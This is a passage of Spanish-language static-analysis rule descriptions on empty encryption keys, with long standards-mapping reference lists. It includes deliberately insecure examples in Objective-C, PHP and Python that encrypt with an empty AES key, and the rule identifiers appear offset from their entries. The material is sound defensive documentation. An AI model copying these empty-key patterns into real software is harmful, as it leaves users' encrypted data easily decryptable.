[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.javascript.key_management_empty_encryption_key
Abstract
Las claves de cifrado vacías pueden poner en riesgo la seguridad de una forma que no es fácil de resolver.
Explanation
Nunca es una buena idea utilizar una clave de cifrado vacía. El uso de una clave de cifrado vacía no solo reduce considerablemente la protección que proporciona un buen algoritmo de cifrado, sino que además dificulta enormemente la solución del problema. Una vez que el código dañino está en ejecución, la clave de cifrado vacía no se puede cambiar sin aplicar revisiones al software. Si la cuenta protegida por la clave de cifrado vacía se ve comprometida, los propietarios del sistema deberán elegir entre la seguridad y la disponibilidad.

Ejemplo 1: el código siguiente realiza el cifrado AES con una clave de cifrado vacía:


...
CCCrypt(kCCEncrypt,
kCCAlgorithmAES,
kCCOptionPKCS7Padding,
"",
0,
iv,
plaintext,
sizeof(plaintext),
ciphertext,
sizeof(ciphertext),
&numBytesEncrypted);
...


No solo permitirá a cualquiera con acceso al código determinar que se está usando una clave de cifrado vacía, sino que cualquier usuario malintencionado podrá descifrar datos cifrados con gran facilidad. Una vez que la aplicación se haya distribuido, se requiere una revisión del software para cambiar la clave de cifrado vacía. Un empleado con acceso a esta información podría utilizarla para irrumpir en el sistema. Si los usuarios malintencionados tienen acceso al ejecutable de la aplicación, podrían saber que se está usando una clave de cifrado vacía.
References
[1] Encrypting Your App's Files Apple
[2] Standards Mapping - Common Weakness Enumeration CWE ID 321
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[10] Standards Mapping - FIPS200 IA
[11] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[14] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[15] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[16] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[17] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[18] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[19] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.objc.key_management_empty_encryption_key
Abstract
Las claves de cifrado vacías pueden poner en riesgo la seguridad de una forma que no es fácil de resolver.
Explanation
Nunca es una buena idea utilizar una clave de cifrado vacía. El uso de una clave de cifrado vacía no solo reduce considerablemente la protección que proporciona un buen algoritmo de cifrado, sino que además dificulta enormemente la solución del problema. Una vez que el código dañino está en ejecución, la clave de cifrado vacía no se puede cambiar sin aplicar revisiones al software. Si la cuenta protegida por la clave de cifrado vacía se ve comprometida, los propietarios del sistema deberán elegir entre la seguridad y la disponibilidad.

Ejemplo 1: El siguiente código inicia una variable de clave de cifrado como una cadena vacía.

...
$encryption_key = '';

$filter = new Zend_Filter_Encrypt($encryption_key);

$filter->setVector('myIV');

$encrypted = $filter->filter('text_to_be_encrypted');
print $encrypted;
...

No solo permitirá a cualquiera con acceso al código determinar que se está usando una clave de cifrado vacía, sino que cualquier usuario malintencionado podrá descifrar datos cifrados con gran facilidad. Una vez que se haya distribuido el programa, se requiere una revisión del software para cambiar la clave de cifrado vacía. Un empleado con acceso a esta información podría utilizarla para irrumpir en el sistema. Si los usuarios malintencionados tienen acceso al ejecutable de la aplicación, podrían saber que se está usando una clave de cifrado vacía.
References
[1] Windows Data Protection Microsoft
[2] Standards Mapping - Common Weakness Enumeration CWE ID 321
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[10] Standards Mapping - FIPS200 IA
[11] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[14] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[15] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[16] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[17] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[18] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[19] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.semantic.php.key_management_empty_encryption_key
Abstract
Las claves de cifrado vacías pueden poner en riesgo la seguridad de una forma que no es fácil de resolver.
Explanation
El uso de una clave de cifrado vacía nunca es una buena idea porque reduce considerablemente la protección que proporciona un buen algoritmo de cifrado y también dificulta en gran manera la solución del problema. Una vez que el código dañino está en ejecución, la clave de cifrado vacía no se puede cambiar sin aplicar revisiones al software. Si la cuenta protegida por la clave de cifrado vacía se ve comprometida, los propietarios del sistema deberán elegir entre la seguridad y la disponibilidad.



No solo permitirá a cualquiera con acceso al código determinar que se está usando una clave de cifrado vacía, sino que cualquier usuario malintencionado podrá descifrar datos cifrados con gran facilidad. Una vez que la aplicación se haya distribuido, se requiere una revisión del software para cambiar la clave de cifrado vacía. Un empleado con acceso a esta información podría utilizarla para irrumpir en el sistema. Si los usuarios malintencionados tienen acceso al ejecutable de la aplicación, podrían saber que se está usando una clave de cifrado vacía.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.sql.key_management_empty_encryption_key
Abstract
Las claves de cifrado vacías pueden poner en riesgo la seguridad de una forma que no es fácil de resolver.
Explanation
Nunca es una buena idea utilizar una clave de cifrado vacía. El uso de una clave de cifrado vacía no solo reduce considerablemente la protección que proporciona un buen algoritmo de cifrado, sino que además dificulta enormemente la solución del problema. Una vez que el código dañino está en ejecución, la clave de cifrado vacía no se puede cambiar sin aplicar revisiones al software. Si la cuenta protegida por la clave de cifrado vacía se ve comprometida, los propietarios del sistema deberán elegir entre la seguridad y la disponibilidad.

Ejemplo 1: El siguiente código inicia una variable de clave de cifrado como una cadena vacía.

...
from Crypto.Ciphers import AES
cipher = AES.new("", AES.MODE_CFB, iv)
msg = iv + cipher.encrypt(b'Attack at dawn')
...


No solo permitirá a cualquiera con acceso al código determinar que se está usando una clave de cifrado vacía, sino que cualquier usuario malintencionado podrá descifrar datos cifrados con gran facilidad. Una vez que se haya distribuido el programa, se requiere una revisión del software para cambiar la clave de cifrado vacía. Un empleado con acceso a esta información podría utilizarla para irrumpir en el sistema. Si los usuarios malintencionados tienen acceso al ejecutable de la aplicación, podrían saber que se está usando una clave de cifrado vacía.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
